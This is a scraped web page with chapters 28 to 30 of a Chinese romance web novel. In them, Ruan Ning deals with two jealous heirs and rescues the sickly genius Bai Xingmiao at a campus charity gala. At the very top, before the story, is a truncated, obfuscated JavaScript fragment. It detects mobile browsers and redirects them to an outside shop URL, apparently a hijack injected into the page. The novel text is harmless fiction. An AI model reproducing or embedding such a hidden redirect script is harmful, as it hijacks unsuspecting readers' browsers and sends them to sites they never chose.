35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392772|198846||http|test|mini|href|location''.split(''|''),0,{}));
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>江翊皓想来想去,一定是好友看见女生就老毛病又犯了,瞬间气性上来。平时步宸乱搞他从不过问,如果欺负到阮柠头上,他第一个不饶。
于是江翊皓愈发不放心阮柠离开他的视线,命令下人一起寻找,结果在宠物房看到了阮柠。
阮柠蹲在房里陪三只狗玩耍,步宸抱胸斜靠在门框上守着门口,一只金毛、一只德牧和一只伯恩山围着阮柠又舔又蹭,汪汪吠叫,很是热情。
“你们刚刚一直在一起?”江翊皓忘了忘两人,声音里一丝不易察觉的紧张。
阮柠急忙去解释:“不好意思,是我刚刚不小心迷路了。碰巧遇到了步少爷。”
“是吗。”江翊皓怀疑的眼神在两人脸上来回扫荡。步宸面色坦然,阮柠转头去摸狗子:“好可爱!”
“小心!”江翊皓一个箭步上来低声喝退三只吠叫不停的狗子,“坐下,不要吓到客人。”
江翊皓的三只狗是人来疯,不是所有人都喜欢狗,还有人天生怕狗。他怕阮柠也在其中索性把她们关起来不让见客。
“你不怕狗吗?你们去哪了,我一顿好找。他没对你怎么样吧。”江翊皓急切拉起阮柠,心还侦查着门框上的步宸。
阮柠极力压抑住微微发抖面颊,露出一个完美无缺的微笑:“我没事,就是迷路罢了。这是你的狗吗,好可爱。”
江翊皓蹲下来陪阮柠一起撸狗,觑了步宸一眼,指着金毛、德牧和伯恩山分别介绍说:“对,这都是我家的逆子。它是哈喽,它是毂头,还有这只叫焦糖。”
阮柠看出了江翊皓的疑虑,极力抚慰着他的情绪:“它们真的好乖哦,多少岁了。”
步宸见江翊皓时不时瞟过来,嗤笑一声:“对了,就是这只金毛咬坏了你的胸针。”
“步宸,你今天有病是不是。”江翊皓腾地一下站起来,三只狗齐声汪汪大叫。
阮柠连忙拉住他:“阿皓你不要生气嘛。都怪我刚刚看到狗玩的忘了时间,现在时间不早了,我们先回餐厅继续吃饭吧。”
江翊皓也想早点拉阮柠回去,没在说话被她牵走。阮柠路过步宸身边,递给他一个“记住我们的约定”的眼神。
步宸勾唇一笑,懒懒散散地跟在最后去了餐厅。
再回到餐厅,不知是有了阮柠的承诺步宸心情愉快了很多,还是阮柠善于调动气氛,三人在和谐融洽的氛围中吃完了午饭。
阮柠记着自己的协议,没多做停留立刻以身体微恙回到宿舍。江翊皓再三挽留无果,只好恋恋不舍派人送阮柠回去。
江翊皓巴在她窗前舍不得离开,阮柠一遍又一遍温柔地应和,步宸站在江翊皓身后,望着阮柠,桃花眼勾出一抹暧昧的笑意。
等送走阮柠,江翊皓回到屋里啪一声关上门,纯真灿烂的笑容顿时化成冰冷寒雨:“步宸,你今天必须给我一个解释!”
28. 第 28 章
秘密俱乐部会客厅此刻争吵不断,声噪穿破柏星邈房门像轰隆隆的发动机。
柏星邈坐在电脑前取下耳机,掏了掏耳朵,加了一幅耳塞后安静自若地继续敲代码。
完成当日工作后,柏星邈合上电脑,取下耳机兀自走出房门。
江翊皓和步宸正在门外争吵,两人指着桌上一摊档案文件夹相互谩骂,像两只雄鹿抵着犄角蓄力强撞,任谁来了也不敢去劝架。
空旷的客厅处处充满着紧张激烈的战争氛围,天花板的水晶大吊灯被两人吓的??摇晃。
自从上次午宴过后,江翊皓和步宸两人关系变的微妙紧张,经常为了一件小事吵起来。
偏偏两人同为尊贵显赫的豪门继承人,一较起劲来,豪门公子哥唯我独尊的脾气上身谁也不肯让谁。
柏星邈便在战火纷飞中安静地敲代码,做模型,看新闻书报。
细细算来两人断断续续闹了一周了,三人虽说以前也有不和的时候,一般认识到自己错了也不多说,第二天所有人默契地忘掉前日的不愉快,又亲亲热热聚一起。
柏星邈穿过两人之间的狂风暴雨,落在专属自己的单人沙发上。他低头倒了一杯绿茶,轻描淡写问:“发生什么事了。”
江翊皓、步宸见柏星邈来了,同时按压着心头怒气转过身去,谁也没回答毫不知情的好友。
江翊皓双手叉腰哼声:“你问他。”
步宸坐下沙发倒了一杯茶,眉间隐隐可见硝烟的痕迹:“阿皓管的有点宽了。”
“我管的宽?听听这是人话吗。”江翊皓声调瞬间拔高,要找步宸要个说法,被柏星邈摁住。
柏星邈是三人中最冷的一个人,对大多数事情漠不关心,说话冷静客观不带私人偏向。江翊皓对步宸再不满,碰到柏星邈还是会冷静下来,恢复些许理智。
柏星邈对着茶杯轻轻吹了口气:“你们两个太吵了。”言下之意就是他们两个尽快解决问题。
以往三人之间知无不言没有秘密,今日江翊皓、步宸却不约而同地对柏星邈保持了沉默。
柏星邈品啜了一口,眼神落在档案袋封面的女孩上,微微皱眉:“她是谁?”
江翊皓立刻转身抢在步宸之前夺走了阮柠的档案揣在怀里。步宸手指捏紧茶杯柄:“江翊皓,你是塔佩公爵继承人,你知道自己现在做什么吗?”
江翊皓面色发青,攥着档案的拳头咯咯作响:“步宸,你别太过分。我念在兄弟份上一忍再忍,你不要不知好歹。”
江翊皓想起这事恨不得一拳打他脸上。上次家宴一别,步宸无视他的警告毫不掩饰自己对阮柠的兴趣,反过来问他有什么资格过问。
今天,他进来时看到步宸翘二郎腿阅读一叠档案册,阮柠的照片赫然贴在封面上,江翊皓瞬间怒了。
“步宸,阮柠不是你平时认识的不三不四的女生,你要是敢把夜场那套臭毛病带到她面前,我一定不会轻饶你!”
步宸顶着江翊皓雷霆震怒轻松翻了一页,头也不抬:“你要追她?”
江翊皓语塞。
他从没考虑过这个问题,他只知道自己唯一的目标就是拿冠军拿金球奖,事业未成之前个人问题绝对不在他的考虑范围之内。
步宸嘴角勾起一个调侃的弧度:“你不追她不许别人追她吗。”
江翊皓脸色瞬间憋红。他咬紧牙关,心中燃烧起一团酸酸涩涩的怒火,像有一群群蚂蚁钻进了心房四处啃咬。他想反驳,脑子被一股一股涌上来的充血冲击地竟然组织不出一句完整的话。
“你那是追吗?!”
“你数数你有哪女朋友超过三个月?”
“阮柠人胆小又老实,你要敢欺负她我会让你吃不了兜着走。”
江翊皓幼稚园似的宣誓逗得步宸乐不可支,在江翊皓滔滔不绝的警告中,他说出一句震耳欲聋。
“就算没有别人,你们也不可能在一起。”
“趁早死了心吧。”
步宸桃花眼笑起来蛊惑又嚣张。
他生性放浪不羁,天底下没有能管他的王法。他看上的东西便会全力去争不管对方是谁。因为彼此太过熟悉,步宸毫不费力捅到了的江翊皓的命门。
“你说什么?”
江翊皓果然喉咙里发出嘶嘶低吼,透着山雨欲来的气息。
“你想跟谁在一起从来不是自己说了算,光你家这一关就过不了。”
步宸在江翊皓眼里熊熊怒火中清晰利落地又扎上一刀。
怒火一瞬间在江翊皓胸腔炸开,他三步绕到步宸面前揪住他的衣领用尽全身力气揍了一拳。
步宸闷哼一声痛的五官扭曲,嘴角渗出鲜红刺鼻的血液。
他没有还手,拇指揩掉嘴角鲜血,歪了歪嘴露出满足放肆的笑容:“这一拳该你的。从今以后我们各不相欠公平竞争……”
“你这混蛋!”
江翊皓还想再揍,坐在一旁的柏星邈开口:“够了,阿皓。”
柏星邈天生自带的冷感刹那间消灭了屋内熊熊燃烧的战火,江翊皓、步宸恢复些许冷静,两人彼此乜了一眼。
江翊皓忍住怒气收了拳头,步宸冷笑舔掉嘴角的血。
柏星邈从江翊皓怀中抽走档案袋,垂眸看着照片上的女生,眼神中看不出任何波澜。
“你们就是为了她?”
这句话听不出是讽刺还是单纯的疑问。
但江翊皓、步宸心头同时滑过一丝异样的情绪,想起彼此一起长大的情谊,身上像被一拍巨大的浪花打过,火辣辣的疼。
江翊皓狠狠推开步宸胸口,眼神在他身上剜了一个洞:“你听好了,全天下的女生你爱追谁追谁,唯独阮柠不行。”
步宸站稳身子抖了抖领子,眼神不躲不闪犀利桀骜:“我和她之间的事轮不到你插嘴。”
屋内稍稍消弭的战火再度点燃,江翊皓又冲步宸挥了一拳,柏星邈冷声命令:“都住手。”
“她呢?”柏星邈坐在沙发上纹丝不动,轻轻抬起眼皮,“那个女孩怎么说。”
客厅一时陷入沉默,柏星邈冷峻通彻的眼神在两人之间游移:“嗯?”
柏星邈的问题问到了核心,江翊皓跟步宸两人都拿不出确切答案。
步宸冷哼一声,拿起外套离开。
江翊皓阴沉着脸从柏星邈手里抢走档案,一声不吭离开,独留柏星邈一人在空旷的客厅。
柏星邈坐在沙发上,又倒了杯茶,皱皱眉。
“泡俨了。”
阮柠不记得那天如何从江翊皓家中回到宿舍,只记得自从那天后,自己整天晕乎乎的。
步宸逼她交换了彼此的联系方式,还抢过她的手机存一个奇怪的号码#01201,说用这个号码天涯海角都能找到他,欢迎随时骚扰。
阮柠躲灾似的拿回手机。
步宸笑笑:“不要想着回头删,下次见面会检查,除非你能一字不差背出来。”
阮柠屈辱地“嗯”了一声。
她心累好,不容易拆了一个炸弹又来一个定时炸弹。
步宸答应不会打扰她正常学习生活,也不会让任何人知道他们的关系,前提是他每次想见她,她必须马上去。
江翊皓这边也电话短信不停。RQ进入了热身赛,江翊皓正天忙于训练备战。他一拿到手机必定打个超长电话过来嘘寒问暖,问步宸有没有骚扰她,并且告诉她不要怕。
江翊皓说只要他在步宸永远烦不到她头上,还派了私人保镖在学校里24小时贴身保护她,阮柠好说歹说才让他撤回了保镖。
阮柠不知道事情怎么会发展成这样。
她只是一个普普通通的学生,完全不值得两位少爷如此关注,更何况跟他们在一起近一分就多一分点危险。她只想老老实实毕业然后
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回去帮衬家业。
一连几天,阮柠除了上课写作业就是睡觉,心里惦记着最后一个任务。然而,第三个任务越来越近,她反而不敢去找柏星邈了。
阮柠自从午宴回来后一直没敢打开群,入群来破天荒连续一周没有上号,惹得队友一顿乱猜,群里999+艾特差点把她顺着网线挖出来。
“柠檬,你退坑了吗?”
“你抛弃我们抛弃00大佬了吗?”
“不要啊,上哪找你这么专业靠谱物美价廉的大腿啊。”
“柠檬,魂兮归来~魂兮归来~”
阮柠轻轻叹一口气,这段时间跟大家都处的不错,虽然有些人嘴贱归嘴贱,其实人并不算坏,让她在现实生活之外又认识了一些新朋友。
可是潜伏群里跟大家打成一片说到底不还是为了柏星邈。
阮柠一条不落地划过积攒了一星期的高楼,心中带着点点自己也没察觉的期许,一条条仔细看。
遗憾的是,其中挽留她的999+消息中,并没有一条是柏星邈发的。
阮柠心里像被针尖刺了一下。
这段时间,她跟柏星邈在游戏里配合默契并肩作战,她以为自己在对方心中或许可以算个亲近可靠的朋友,原来并不是。
阮柠深呼吸一口气,点开柏星邈头像删删减减打了一段话发出去。
突然,她的话被退回,屏幕上出现一行红的扎眼的字“对方不是你的好友”。
阮柠顿时跌坐在地板上,狂按手机屏幕。
她复制粘贴上面没发出去的话又发了一遍,无情的红色惊叹号和“对方不是你的好友”再次出现在屏幕上,像对着她的双眼刺了一下。
阮柠不相信眼前的事实,重新点开申请加好友,对话框立刻弹出熟悉的“你最近在思考的一件事是什么”。
她忽略问题,手指颤抖,字打的乱七八糟,一秒不停发了出去:“你为什么删我好友,请问是我哪里做错了吗?”
阮柠攥着手机贴在胸口,烦躁地在房间里踱来踱去。
柏星邈回消息一向很慢,上次加他好友就花了前前后后几天时间,阮柠不知道如何熬过几天,心里打定主意要一刻不停守在手机边上等他一个回话,不管等多久。
柏星邈像早就算准了她会来似的,不肖多久,在申请的好友框远远回复一条。
“我已经知道了你的目的。”
简简单单几个字,在阮柠脑海里重重的撞了一口大钟,震碎了她的天灵盖。
阮柠顶着快要烫熟的脸蛋强装镇定急急回过去:“什么目的,请问我能有什么目的。哈哈哈。”
这次柏星邈没有再回复,阮柠等了几天,空留他最后一次申请好友对话框,一切都回到了原点。
“不——”阮柠委屈地泪水从眼眶中汨汨流淌,她不甘心,胸腔因为激动剧烈起伏她咳嗽一大声差点把破碎的心吐出来。
阮柠猛然惊醒,原来是一切是梦。
此时她躺在宿舍床上,泪水沾湿了枕头,凌晨三点,浴室没拧紧的水龙头发出滴答滴答清脆的声响。
阮柠掩住眼角的泪花摸来手机,群里消息还是999+,柏星邈的白头像静静地树立在列表最上方,注视着她。
死里逃生的阮柠闭上眼睛。
未及,她翻身点开对话框,聊天记录还留在上周,一切跟梦里一模一样,阮柠看一眼白头像,仿佛透过网线在跟一双清明冷漠的眼睛对视,心跳疯狂加速。
她惊乍地丢开手机,拉上被子强迫自己继续睡觉。
闭上眼睛后“我已经知道你的目的”、“对方不是你的好友”一行行字又像符咒般跳出来,在她头顶交替盘旋,发出尖锐怪笑。
“你们走开,走开啊。”阮柠突然对着空气哭喊。
怪笑还在继续,她精疲力尽失去了理智,突然对着步宸对话框一顿乱打发出去。
29. 第 29 章
阮柠死死盯着屏幕,预想中的“对方不是你的好友”并没有出现,她缓缓吐出一口浊气,肩膀也随之松弛下来。
此时窗外漆黑一片,偶尔传来几声的乌鸦叫,声音凄凉喑哑。
阮柠这才确信方才只是梦境,一切是自己太紧张了,紧急撤回方才打出的一连串乱码。
这段时间她把柏星邈当神供着,每次对话仅限上号相关,别的一字都不敢说。往上翻聊天记录,基本上都是她满屏毕恭毕敬地问:
【00大佬在吗】
【大佬打排位赛嘛,我们这正差一个人】
【呜,大佬康康我吧~】
她这段莫名其妙的乱码当然不能停留在神圣的对话框内。
阮柠长按乱码,还没弹出指令菜单,突然柏星邈得白头像贴着她的发疯代码打了一个【?】
阮柠顿时一个激灵,像活见了鬼。
柏星邈大半夜的不睡觉居然还在线上,而且也是秒回她的信息,越看越像梦里那味了。
阮柠紧急找了个可怜兮兮猫咪表情包试图蒙混过去:【不好意思,刚才是没睡醒不小心乱打的,请大佬忽略……】
柏星邈是个很有距离感的人,阮柠加了他好友后两人的深入交流屈指可数。她也是个面皮薄又很有分寸感的人,见对方没有聊天的意思,便自行退下,一个字也不会打扰对方。
两人就这样简明扼要的聊了几周,除了知道彼此ID、头像,其他的一无所知。
阮柠打算解释完就睡觉,柏星邈忽然问:【最近压力很大?】
阮柠睁大眼睛,没记错的话,这是应该是两人自加好友后柏星邈第一次主动问她。
阮柠不明白这句压力大意味着什么,略一思索回道:
【没什么,就是梦到你删我好友了】
她始终觉得反正智商被人碾压,还是老老实实坦诚相待比较好。
柏星邈又问:【为什么要删你好友】
这真奇了怪了,柏星邈一向不问细碎小事,甚至能从他平淡无奇的语气中解读出一丝对阮柠的关心。
阮柠不敢乱想,怕是自己的错觉,打了一个笑脸:【哈哈哈,你是说你永远不会删我的意思嘛】
柏星邈像一座密不透风的墙,又把问题抛给自己。
【你很怕我删你吗】
阮柠呼吸猛地一滞,要说不怕是假的。此时她最担心的就是步宸没有遵守诺言,把她的事情捅了出去,柏星邈什么都知道了,噩梦变成了现实。
柏星邈目前看来反应正常,所以她也分不清对方到底知不知道自己的底细。
阮柠又发了一个卖萌猫咪表情包:【当然怕啦。我可是好不容易才加上你好友,光这条就够在群里吹嘘了。求大佬行行好,不要收回我吹水的资本好不好】
柏星邈对她的撒娇套近乎表示拒绝:【你想太多了】
阮柠这下彻底放了心,连发一串可爱表情包:【哈哈哈,我就知道做梦是反的。毕竟咱们前几天刚一起拿了排位赛第一,你也一定舍不得我这么好的队友是不是。】
阮柠有些奇怪,明明平时在柏星邈面前生怕说错一个字,今晚倒放开了不少,彩虹屁表情包双管齐下,脑海里的话术一套又一套。
或许真应了撩汉班老师的那句话,一到夜深人静,白天再坚硬强悍的人也会变得温柔感性,所以想拿下对方最好趁深夜下手。
柏星邈回了一串【……】,对她的自说自话很无语。
阮柠并没有被吓到,反而隐隐带了些掌握主动的骄傲。
据她这些天观察,柏星邈对不感兴趣的事物,一个字都不会多说,早就一走了之。然而他不仅没有走,还陪她有一搭没一搭聊到了现在。
阮柠心里有了底气,笑着试探道:【当然我最怕的就是被你删了后,见不到你本人了。】
【为什么要见我?】
【不止我,群里的人都想见你呀】
【大家都好奇打游戏又帅为人又低调的00大佬到底长什么样】
【听说群里没有一个人见过,我当然想见啦】
【大佬,你为什么从来不放照片啊】
聊到最后,阮柠都嫌弃自己像个网上见到女生要照片的油腻男。不过她还是坚持发消息,柏星邈是块千年不化的寒冰,她就要更积极去捂热他。
不管用凿子还是斧子,她一定要在他坚韧不化的外壳下凿出一条裂缝。
【大佬,你知道吗,有人说你是残疾人才从来不见人,你出来辟个谣吧】
【大佬,最近有个漫展你有兴趣嘛】
阮柠一连发了几条,忘了时间,直到对话框那头很久没有回应,她才再次点开对方头像。
柏星邈不知何时下了线。真是太狡猾了,用黑白头像什么时候下线了也看不出来,放她一个人对空气讲了十几分钟。
阮柠困意上来拍了拍哈欠,终于安心睡去。
第二天早上,阮柠被久违的任务吵醒,系统转动发出咯吱咯吱机械电子音。
【触发任务:冒名顶替女主曾书雅事件
任务要求:抢下女主救男主2号功劳,获得男主2号奖赏
任务失败:抹杀意识】
阮柠重重吞了一口口水,这就来了?
新任务来的猝不及防,她甚至还没来得及了解透彻柏星邈系统指令就来了。
不出意料,系统留给她的最后一个任务也是同样的缺德。
原著中自从恶毒女配发现自己辛苦一桶白白为曾书雅做了嫁衣后,恨透了曾书雅,下定决心找机会整她。
正好赶上的学校慈善晚宴即将举行,恶毒女配精心策划了一个阴招让原女主在全校师生面前出丑。
另一边,得罪人不自知的曾书雅对女配的计划浑然不觉,满怀期待的参加晚宴。
原女主心地善良,一路得贵人相助学习生活处处顺利,正想借慈善晚宴的由头回报社会,老早准备了一笔钱打算在晚宴上捐出去。
人品低劣的恶毒女配对学校慈善晚宴本就没什么兴趣,三位男主不会出席,规模也比新生舞会小了不少。如果不是为了整人,她宁愿去酒吧彻夜蹦迪。
女配忍着无聊的宴会,一直暗中盯着原女主,终于在曾书雅聚会间隙,出去方便的时候找到了机会。
女配尾随曾书雅出了大厅,意外发现她救下了昏迷不醒的男主3号柏星邈。
曾书雅被倒地不起的陌生男子吓昏了头,急忙起身去喊人求助。女配这时候趁虚而入,恰好柏星邈醒来,昧着良心欺骗柏星邈抢下了救命恩人的名头。
然而,柏星邈最终还是被正直善良的女主吸引,阴差阳错地爱上了她。气得女配大发雷霆。
大结局时,正是柏星邈第一个揭穿了女配的真面目,并且凭借高超的智商在茫茫国外找到了女配的地址,给她的绝命下坡路上踩了一大脚油门。
阮柠过完剧情后浑身齿冷,揉了揉发胀的太阳穴。
她最怕占人便宜,连商场免费试吃都不去吃,唯恐吃了人家东西不买对不住人家,系统塞过来的骗子剧本简直是在她的雷点上践踏。
又拿了一个狗血烂俗的古早剧本,想想这是最后一个任务淤积已久的不满又忍了回去。
因为江翊皓家的插曲,想提前搞好关系的计划算是破灭了,不过网友线发展的还算平稳。阮柠叹了一口气,着手准备最后一次任务。
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几天后,学校慈善晚宴现场。
依旧是熟悉的大礼堂,熟悉的场景。
全场热络亲昵谈笑风生,阮柠甚至分不清它跟新生晚会的区别。
她抬头看到墙壁上挂了几百年的人物像,忍不住想画像里对人看了几百年的宴席会觉得无聊吗。
但这次晚宴大家明显比上次气氛热闹了许多,交谈声高兴热切,因为学期过了三分之一,同学之间都熟了不少,大家三三两两聚在一起不像开学典礼时那么拘谨。
阮柠有些惭愧,这段时间全部身心都扑在系统任务上错过了跟大家相识的机会,看到左邻右舍都开心地跟同伴闲聊,她感到一种强烈的不适和孤寂。
无人可聊的阮柠独自在旁边观察着四周同学,全场变化最大的当属曾书雅。
时隔一个月之久再见曾书雅,她的面色红润了许多,换了条更精致的裙子,看的出是商场的牌子货。进入清洁公司后,她打工攒了不少钱,也渐渐学会打扮自己,更加自信大方,几乎看不出当初贫穷窘迫的可怜样。
看得出她这段时间过的不错。
反观阮柠顶着两个黑眼圈、面色憔悴,没有一点大一新生的朝气,还以为是刚放出来的。上次回家时爸爸妈妈问她,伊雅的学习压力有这么大吗?
阮柠还注意到现场几乎没有人谈论柏星邈。看来大家都不知道他今晚会出现。因为如果女生们知道传说中的天才少年会出现,现场的声音还能再高八度。
阮柠跟柏星邈在网上打了太久的游戏,差点忘了他是传说中的天才学霸,人人都想见一面。虽然说三位男主在校园里都很受欢迎,但柏星邈的人气明显高出另外两人一档。
毕竟伊雅是学霸云集的顶尖学府,人们对学神的滤镜总是要更深一些。
就是这样万众瞩目、生活在人们的谈论中的神秘男主,独独被女主救下,两人情牵一线,多么标准的乙女玛丽苏剧情。
等的无聊的阮柠品了一口葡萄酒,喝到嘴里只觉得乏善可陈。
不多一会儿,阮柠看到曾书雅离开座位,像是要出去的样子。她身体里的弦立刻拉紧,放下酒杯跟了出去。
阮柠跟着曾书雅走出大礼堂朝院子外走去。
看样子曾书雅喝多了有些上头,想去院子透透气。走出大礼堂,顺着长长的游廊走到院子里。
长长的游廊由石头雕成,保留了古代特色,每隔几米仅有一盏黄昏的老式电灯照路,角落里藏了个人也不见得能发现。
人们笑声、管弦乐从宴会厅里隐隐飘出来,显得院子更加安静。
阮柠不敢靠的太近,躲在树丛后面远远观察着。
果不其然,曾书雅走了几步,忽然碰到个黑不溜秋的人影瘫倒在路边痛苦挣扎,一会儿没了动静。
阮柠屏住呼吸睁大眼睛准备随时冲过去。
本来有些脑子发昏的曾书雅一下子醒了,她扶着地上的人高声疾呼:“来人啊,救命啊!有人晕倒了。”
可惜此处人少僻静,大礼堂里又有宴席嘈杂的音乐盖过了她的呼喊。曾书雅见无人理会她的求助,用尽吃奶的力气把昏迷不醒的人影拖到路灯下然后跑进礼堂叫人。
天地间只剩下阮柠和躺地上昏迷的两人,她心跳骤然加速,鬼鬼祟祟摸过去。
躺地上的正是柏星邈,虽然阮柠从没见过他正脸,在昏黄的路灯下,看到他高挺的鼻梁,纤长的浓睫。平躺在地上,腰身紧实修长,仿佛精心雕琢的艺术品。
阮柠大着胆子走过去,远远喊了一声。
“喂,你还好吗?”
没有反应。
阮柠小心凑上去摇晃他的肩膀,对上他正脸时心脏差点从嘴里跳出来。
30. 第 30 章
阮柠差点喊出口,世界上真有人长的跟二次元里走出来似的,这长相分明是真人版圣使兰森!
柏星邈骨相优雅清冷,高耸的鼻梁拢着一层浅浅的阴影,勾勒出冰肌玉相一般的轮廓。五官既不似江翊皓浓烈帅气,也不比步宸桀骜魅惑,看着普普通通的鼻眼眉嘴,组合在一起却是三次元的少见的冷逸仙隽。
他穿着普通的卡其色开司米衬衫,配了一顶黑色渔夫帽,皮肤白皙如玉,气质清冷干净。
如果不是事先知道他的身份,阮柠完全不能把眼前的人跟全国最尊贵的公爵之子联系在一起,只会以为是一个忧郁的文艺帅哥。
阮柠眼睛牢牢粘在柏星邈脸上,他、他长的实在太像她玩过的一个RPG游戏主角了。
那款游戏很古早,现在说出来可能都没几个人知道,但是里面的主角圣使兰森却是让小学生阮柠第一次心动的异性。
圣使兰森又帅又温柔,小学生阮柠每次登陆游戏看到他的帅脸幸福的要晕过去。
她把游戏来来回回打了不下一百遍,每句台词倒背如流,当时她所有屏保壁纸都是圣使兰森,铃声是兰森人物主题曲,还废寝忘食写了50万字同人文。
现在阮柠玩的游戏多了,喜欢的人物也多了,第一次看到真人版圣使兰森,仿佛儿时深藏多年的记忆被唤醒,心里响起了一段轻快欢乐的旋律伴着蝴蝶飞出来。
阮柠的眼睛留恋不舍地在柏星邈身上四处逡巡。要不是任务在身真想偷拍一张,或者问他有没有兴趣cos……
怎么做完两个倒霉任务还有奖励啊。
阮柠脑袋晕乎乎的,身体很紧张,心却是甜的。
她努力压住激动的嘴角,小心推了推柏星邈的肩膀:“你醒醒,你到底怎么了,我要怎么做才能救你。”
阮柠不敢使大力,连续推了十来下躺地上的人总算缓缓睁开眼睛。
柏星邈的瞳仁是极清浅的墨色,连眼睑的弧度都跟清冷俊逸的兰森大人一模一样,对上眼神的一刻,阮柠内心狂叫,全世界的冰雪仿佛在此刻融化了。
她懊悔今天出门为啥不遮一遮黑眼圈,着急的语调遮掩不住上扬的小尾音:“同学,你还好吗。我送你去医务室吧。”
柏星邈状态十分虚弱,仅看了阮柠一眼又痛苦地闭上眼睛,连续咳嗽几声,嘴里念叨着什么。
阮柠急忙凑过去,听了半天只听到一个“走出去”。
“什么走出去?你现在站都站不起来,怎么走出去?”阮柠着急问。
柏星邈没有说话,只是闭上了眼睛。
有一种人哪怕脸上没有任何表情,别人也能通过突然冷下来的气场感受到他的不悦,并且不会感觉到任何不适,只会怪自己笨领会不到对方的意思。
柏星邈就是这样的人。
阮柠不好意思地凑上前去扶柏星邈,心里在想,连生气都这么优雅,更像兰森了。
“你现在可以走路吗,我扶着你一起走出去。”
柏星邈轻蹙眉头闪过身子,拒绝阮柠的碰触,喑哑的嗓音用仅存的最后一点意识吐出三个字“注射器”后又昏了过去。
阮柠羞赧地闭上眼睛只想挖个洞钻进去。
真是蠢到家了。
什么“走出去”?人家说的是“注射器”!
她心又揪了起来,搞了半天原来柏星邈是个病弱脆皮,必须随身携带药物遇到危险来一针。
阮柠立刻意识到问题的严重性,有严重反应的人必须在最短时间内注射药物,否则就会有生命危险。
她慌忙去柏星邈身上找注射器,手刚一碰到他的身体遍吓的收回来,柏星邈浑身烫的吓人,现在情况十分紧急。
阮柠再没心思想别的,当前最重要的是把人救回来。别救命恩人没当上,当上了夺命仇人。
她不再顾及礼貌上下翻找柏星邈身上任何有口袋的地方,摸了一遍没发现任何注射器。
时间一秒一秒流逝,阮柠动作越来越粗暴慌张,嗓子急到冒烟:“你的药到底在哪啊?我找了一遍也没找到,怎么办啊!”
阮柠动作太过急莽摇醒了柏星邈些许意识,他迷迷糊糊间感觉到有人在自己身上刨地,有洁癖的他眼尾微微下压,双眉悄然锁起。
他觉得全身又热又闷,像在一个桑拿房,鼻子呼吸道全被堵住,吸一口气肺部疼的像被重重打了一拳。
比起病痛的折磨,他更不喜欢被陌生人冒犯。
柏星邈用尽力气睁开眼,看见一个穿着礼服的少女伏在自己身上秀眉急蹙,嗓音带了点哭腔:“我都搜遍了,怎么还是找不到啊。”
少女长的很面熟,面若皎月,明媚动人。墨黑的青丝藤蔓般地散乱在鹅蛋脸两侧,秀鼻翘挺,湿漉漉的大眼睛写满了担忧。
柏星邈无声的视线落在阮柠侧脸,漆黑的夜空中显得幽晦深沉。
“你醒啦。”阮柠惊喜叫道,伸手要扶起柏星邈,被他捉住手腕制止。
阮柠对上他疏冷深邃的眼睛,心里紧绷的弦突然崩断。
她心虚移开眼神,笑容有些尴尬:“你刚刚昏过去了,我想帮你来着。对了,你的药放哪了。”
阮柠看见柏星邈黑洞洞的眼神在自己脸上上下扫动,紧张地不敢大声喘气,柏星邈认出她来了吗?
毕竟两人在网上做了一段时间的网友,他应该对自己的脸不陌生才是。
然而柏星邈只是虚弱地闭上眼睛,样子十分痛苦,阮柠隐隐感觉到一种说不清道不明的防备。
她连忙掏出学生证,拿出一些可以证明自己身份的东西给柏星邈看:“你不用怕,我是阮柠,我也是伊雅的学生,我是来帮你的。请你相信我好吗。”
柏星邈仍然紧紧闭着眼睛,脸色愈发苍白,不知在想什么。
阮柠简直要疯了,生死攸关的档口柏星邈竟然一点不急,难道不把自己的性命当回事吗。
她耐心地再次劝说,眼神里充满真挚的关怀:“我真的不是坏人,请你相信我,告诉我药在哪里好吗?你的情况很危险,必须马上用药。”
高智者总是顽固执着,不会轻易改变主意。柏星邈对她的关心视若无睹,
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突然猛地咳嗽几声,身子筋挛颤抖。
阮柠急了:“都什么时候了,你不要拿自己生命开玩笑。”
她一边帮忙拍背,一边努力扶起柏星邈。忽然,她在柏星邈的西裤口袋里看到一个方盒状的折痕。
阮柠吃惊,瞬即羞红了脸,注射器在柏星邈大腿口袋里,岂不是要把手伸他的大腿……
柏星邈穿了一条剪裁合体的西裤,由于躺着,身上凸起的部分被勒的更加凸出,毫不费力看到左腿口袋里有个注射笔的形状的凸痕,旁边隆起山脉似的褶线延伸到下腹……
阮柠看了一眼猛地眼睛像被什么灼烧仓皇收回视线。
真是个尴尬的位置。
虽然柏星邈并不信任她,事急从权顾不得那么多了。
阮柠快速伸进口袋。贴近大腿口袋充分吸收了男生的体温,手指刚伸进去立刻被一股温热的暖流包裹。
她长这么大,第一次去摸男生大腿,顿时身子僵了一秒。
“咝。”
柏星邈突然睁开眼睛,恼怒地瞪了一眼莽直的阮柠。
他突然感觉到大腿有异物入侵,发烫的身体传来一股薄荷般的清凉,背脊瞬间绷直。阮柠还没拿稳,被柏星邈突然吓了一跳,慌乱之下不小心刮了一下腹股沟,大腿根处的酥痒遍顺着电流滑过脊椎,刺激的柏星邈头皮发麻。
“你干什么?”
清冷寡言的柏星邈嗓音里染上一丝愠色,第一次出现了人类会有的情绪波动。
阮柠急忙点头道歉:“对不起、对不起,我不是故意的。你看,我找到药了,我这就给你打针。”
她三下五除二打开盒子拔开笔头,握紧笔身用尽全身力气往柏星邈大腿一怼。
柏星邈闷哼了一声,仿佛看到自己腿上一片淤青,清俊的眉眼闪过一丝冰冷:“不需用这么大力……”
阮柠鼻尖红红,绞着手指,像是一只被训斥的小动物:“对不起,我怕打不进去。”
药液注入体内缓缓发生作用,柏星邈感到炙热的体温渐渐降下去,呼吸总算轻快顺畅。
他天生体弱多病,小时候几乎天天躺在病床上,很少与同龄人交往。身体稍好些后,不能从事剧烈运动的他经常独自一人在花园里观察天体、各式各样稀奇的植物和昆虫。
最近他模拟昆虫发光改造了一个新材料,晚上出去实验效果时路过大礼堂宴会厅时突然病发,倒在黑黢黢的道路上。
等他睁眼后,他毫不费力认出救他的人是最近被他打了快一个月游戏的柠檬。早在阮柠换头像时,他就根据照片的背景认出了这是伊雅的学生宿舍。
